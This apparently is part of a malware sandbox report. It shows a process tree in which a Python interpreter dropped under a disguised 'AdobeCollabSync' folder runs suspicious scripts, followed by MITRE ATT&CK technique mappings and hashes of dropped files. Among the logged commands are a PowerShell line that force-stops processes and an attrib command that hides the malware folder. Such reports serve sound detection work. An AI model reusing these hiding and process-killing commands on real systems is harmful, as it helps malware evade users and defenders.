        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:6256
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:1368
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:6356
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5196
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ACSRE[93]exp.py "
        6⤵
        
        PID:6624
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:5684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:6164
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:6052
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:5644
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:5476
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:5348
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:5328
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[92]iexp.py "
        6⤵
        
        PID:5268
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:6848
      - C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe
        
        "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\python.exe" "C:\Users\Admin\Contacts\AdobeCollabSync\Callup\Python313\ANAS[92]iexp.py"
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        
        PID:6204
      - C:\Windows\system32\timeout.exe
        
        timeout /t 3 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:6276
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:5488
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:7108
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:2640
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:6700
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:5328
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:6704
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo ANAS[93]iexp.py "
        6⤵
        
        PID:4616
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:4228
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:2568
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:4864
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:684
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:1408
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:2076
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:2236
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo MARch[093]ntp.py "
        6⤵
        
        PID:6696
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:7128
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:6208
      - C:\Windows\system32\find.exe
        
        find /i "MARch[093]ntp"
        6⤵
        
        PID:5572
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:6432
      - C:\Windows\system32\find.exe
        
        find /i "PL5[093]exp"
        6⤵
        
        PID:6836
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:6832
      - C:\Windows\system32\find.exe
        
        find /i "ACSRE[93]exp"
        6⤵
        
        PID:7048
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo PL5[093]exp.py "
        6⤵
        
        PID:6912
      - C:\Windows\system32\find.exe
        
        find /i "ANAS[93]iexp"
        6⤵
        
        PID:6784
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -Command "Get-CimInstance Win32_Process -Filter \"Name='explorer.exe'\" | ForEach-Object { try { $p = Get-Process -Id $_.ParentProcessId -ErrorAction Stop; if ($p.ProcessName -eq 'python') { Stop-Process -Id $p.Id -Force } } catch { } }"
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1444
      - C:\Windows\system32\attrib.exe
        
        attrib +h "C:\Users\Admin\Contacts\AdobeCollabSync"
        6⤵
        Views/modifies file attributes
        
        PID:468
- C:\Windows\System32\notepad.exe
  C:\Windows\System32\notepad.exe
  2⤵
  - Suspicious behavior: AddClipboardFormatListener
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  PID:4248
- C:\Windows\System32\iexpress.exe
  C:\Windows\System32\iexpress.exe
  2⤵
  PID:6444

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3376

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5288

C:\Windows\explorer.exe
explorer.exe
1⤵
- Boot or Logon Autostart Execution: Active Setup
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:6728

C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
1⤵
PID:1412

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Active Setup

T1547.014

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 36KB
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e
SSDEEP 24:TLiXlzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9Mzm+Zs3tGl:TqlmFTIF3XmHjBoGGR+jMz+LhT
TLSH
T178F21D566E241E3CCA9EC336340836C34D78023DACF3B762A58A719747AD181E37D6E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 56KB
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5
SSDEEP 192:wedRBvVrThe4p4/KhTB4p4CitZtkZsLRGVDbw6H3ph+v3YQa9:weZdThkKhBvkZsLRGlzh+vS9
TLSH
T1C94379DF2A348110CA0768BABD71771BB655D0BFC1C2F0A87AD68A1780B463CE775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ReaderMessages

Path C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages
Size 64KB
SHA256 7a317f7285576e3a5fb4cd503f498441f7c7f297f1e73bca312c20ddfce811d5
MD5 f33695eb3c57d9c0ee15a033cdb10f3e
SHA1 8b0ea0da235afa63bfecd8004f954e61d17a7daf
SHA512 4c3611cf90006ee2d885d20b2caa110114f52b4bfd5fd2d5c29622a7aedffaa1ad1193c0ae20dd46bcaa3083ea7bf874dc9e49150b05b25e9145d2325547652f
SSDEEP 384:ye8dThatELJ8SWvDTuGmQgZsLglKhubvGZsLRZh+vS4:/+eUZsLQCZsL3hUS4
TLSH
T19053CBDB26348040CA07A8BBADB5731BB662D0BFC1C6F1E87E858A1780F453D9775687
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

SharedDataEvents

Path C:\Users\Admin\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents
Size 12KB
SHA256 1d9ef1076fdf3039ff686346b5b243894c8d60dce5cc41162174bd7ba98f38cf
MD5 c13e11b80ceb12800cad56aaaecdd6a3
SHA1 201a73fc2412c39704cecca1f1b6f040d4c3a95b
SHA512 06c1b8eba4920b561dbbaa6fe6e6d11d268db5a946fe2de27e5cde268d09d46397e913a6114274f38f401f8b2c77da80d1e6719c7abca0dc6eb3c0215063f8e2
SSDEEP 12:TLPictO9OiyopOz2VVXet3aQK+GyMFO+rlhurs7qoaqesMdXOZEXUtb+:TLyx/XYKQvGJF7urs2qeBdXOZEXUt6
TLSH
T140426D5E9E1CBB32ECD44A3AE1C111123B3C152EA7B70255175C44B0A65F149A0291AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
MD5 6cf293cb4d80be23433eecf74ddb5503
SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
TLSH
T148510F323375F1E4C8567F071E68198053BF4395EA94AF5CB298621ED92741B8F222F3
MD5 SHA1 SHA512 TLSH

Submit Download